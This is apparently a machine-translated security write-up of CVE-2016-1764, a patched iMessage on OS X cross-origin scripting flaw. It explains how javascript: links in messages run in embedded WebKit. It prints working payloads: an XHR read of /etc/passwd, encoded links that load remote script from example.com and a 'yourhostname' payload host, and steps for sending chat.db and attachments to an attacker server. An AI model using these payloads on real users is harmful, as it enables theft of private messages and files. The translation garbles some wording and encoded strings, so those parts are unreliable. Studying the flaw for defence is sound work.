Apple OSX Message cross-origin Scripting Vulnerability (CVE-2016-1764)

Apple OSX Message cross-origin Scripting Vulnerability (CVE-2016-1764)

Apple's CVE-2016-1764, fixed in March, is an application-layer vulnerability that can cause remote attackers to leak all the message content and attachments with the iMessage client.
Compared with the attack on the iMessage protocol, this is a relatively simple vulnerability. Attackers do not need to have a solid mathematical foundation, or be proficient in memory management, shellcode, and drop-down links. They only need to have a basic understanding of JavaScript.
IMessage uses the embedded version of WebKit to implement user interfaces. In addition, the displayed Uris are clickable HTML links. Attackers can create simple JavaScript Uris (such as javascript :) and execute the Code provided by attackers (cross-site scripts) in the application DOM ).
Although the embedded WebKit library used by iMessage is executed in applewebdata: // source, attackers can still send XMLHttpRequest (XHR) GET requests read arbitrary files. Attackers can not only illegally use XHR to read files, but also upload the Chat History and attachments of the victims to the remote server once the victims access the network.
As long as the user clicks the URL, the attack will succeed. In addition, if the victim enables the text message forwarding feature, attackers can recover any information via the victim's iPhone.
Technical details
IMessage
IMessage user interfaces are mainly determined by embedded WebKit. When users send and receive information, DOM is inserted into HTML to render the UI and its attachments/multimedia content. All messages sent by the application are rendered in the DOM. Therefore, common client Web vulnerabilities can affect the iMessage application.
When testing iMessage, the researchers found that all protocol schemes were automatically converted to links and inserted into the DOM. The following URI example is inserted into the WebView as a link:
Test: // test
Smb: // test@test.com
File: // etc
Anyurihandler: // anycontentafter
Because iMessage does not have a whitelist of available protocols, attackers can send messages containing javascript: // to victims, where javascript: // is converted to a link on the victim's computer.
Once you click this link, the embedded WebKit will execute the JavaScript provided by the attacker in the current source, as shown below:

Note that % 0a (\ n) is used to avoid JavaScript comments //. The code is parsed as follows:
// Bishopfox.com/research?
Prompt (1)
After clicking the link, the JavaScript prompt in iMessage is triggered:

However, iMessage is an application and is not a website. Therefore, JavaScript will execute:

Because the attacker's code is executed in the complete WebKit implementation, XMLHttpRequest will be available at runtime. The most significant difference between embedded WebKit and Web browsers is that WebKit does not implement any same-source policy (because it is an application ). Attackers can use this to send an XMLHttpRequest GET request to file: // URI to read files from the local file system without violating the same-origin policy, the only requirement for this process is that the relative path cannot be used, and the attacker must know the complete path of the file.
Read files
The iMessage DOM can execute the following code to read the/etc/passwd file:
 

function reqListener (){ prompt(this.responseText);// send back to attacker’s server here}var oReq = new XMLHttpRequest();oReq.addEventListener("load", reqListener);oReq.open("GET", "file:///etc/passwd");oReq.send();

After the code is converted to a URI load, It is shown as follows:
Javascript: // bishopfox.com/research? % 0d % 0 afunction % 20 reqListener % 20 () % 20% 7B % 0A % 20% 20 prompt (this. responseText) % 3B % 0A % 7D % 0 Avar % 20 oReq % 20% 3D % 20new % 20 XMLHttpRequest () % 3B % 0AoReq. addEventListener (% 22 load % 22% 2C % 20 reqListener) % 3B % 0AoReq. open (% 22GET % 22% 2C % 20% 22 file % 3A % 2F % 2F % 2 Fetc % 2 Fpasswd % 22) % 3B % 0AoReq. send () % 3B
When you click this link in iMessage, the following message is displayed:

However, the above link is too long and may cause suspicion. We can shorten the link by dynamically loading JavaScript from other domains and putting it in the DOM. As shown in the following figure, inject the javascriptin the http://example.com/1.js domain to the domfield:
Javascript: // bishopfox.com/research? % 0a % 28 function % 28 s % 29% 7Bs. src % 3D % 27 http % 3A % 2f % 2fexample.com % 2f1. js % 27% 3Bdocument. body. appendChild % 28 s % 29% 7D % 29% 28document. createElement % 28% 27 script % 27% 29% 29
The referenced JavaScript file can contain JavaScript commands of any length.
Because Apple uses the application sandbox mechanism, this file is only stored in ~ /Library/Messages/* directory and some non-user system directories (such as/etc/) can be accessed.
Obtain iMessage databases and attachments
The messages and attachments received by iMessage are stored in the following directory:
/Users // Library/Messages /*
The text content and other metadata of these messages are stored in the SQLite database. The directory is as follows:
/Users // Library/Messages/chat. db
The database also contains the location information of all attachments on the user's device. To obtain the database, more advanced attack loads are required.
Vulnerability Exploitation
Attackers can perform the following steps to successfully delete data:
1. Get the initial JavaScript Execution permission in the DOM
2. Get the current user name
3. Use the user name to generate the complete path:/Users/ExampleUser/Library/Messages/chat. db \
4. Send the XMLHttpRequest request to read the database file and query the path of the attachment file.
5. Use XMLHttpRequest to upload databases and all attachments to the remote server

We can request and parse/Library/Preferences/com. apple. loginwindow. the plist file gets the current user, which is readable in the OS X application sandbox, so you can easily build your chat. the complete path of the db file.
After obtaining the database file, we can use the custom server script to escalate the complete path of the attachment. At this point, the complete path of the attachment is restored by malicious JavaScript load, and used to extract attachments from the victim's device.
Attackers can also make the following improvements to the link:
Javascript: // www.facebook.com/photo.php? Fbid = 111789595853599 & set = a.111055039260388.20.3741826.100010676767694 & type = 3 & theater % 0A % 28 function % 28 s % 29% 7Bs. src % 3D % 27 http % 3A % 2f % 2 fyourhostname % 3A8888% 2ff % 2fpayload. js % 27% 3Bdocument. body. appendChild % 28 s % 29% 7D % 29% 28document. createElement % 28% 27 script % 27% 29% 29
Once the user clicks this link, all the Chat History and related attachments of the user will be transferred to the attacker. To learn more about the attack, you can download the code.
JavaScript everywhere
With the increase in hacking technology, the client content injection vulnerability is no longer limited to browsers. Although WebKit or even more dangerous nw. js can indeed help developers build desktop applications, it may affect the security of applications. As we all know, embedded Web frameworks are prone to cross-site scripting and other common vulnerabilities, and may even face more destructive attacks.
This vulnerability also reflects the strength of URI. For beginners, URI is just a link to a website, but it may also be a variant of a more complex ecosystem. Like attachments in an email, you will never click it unless you are sure that the source is secure.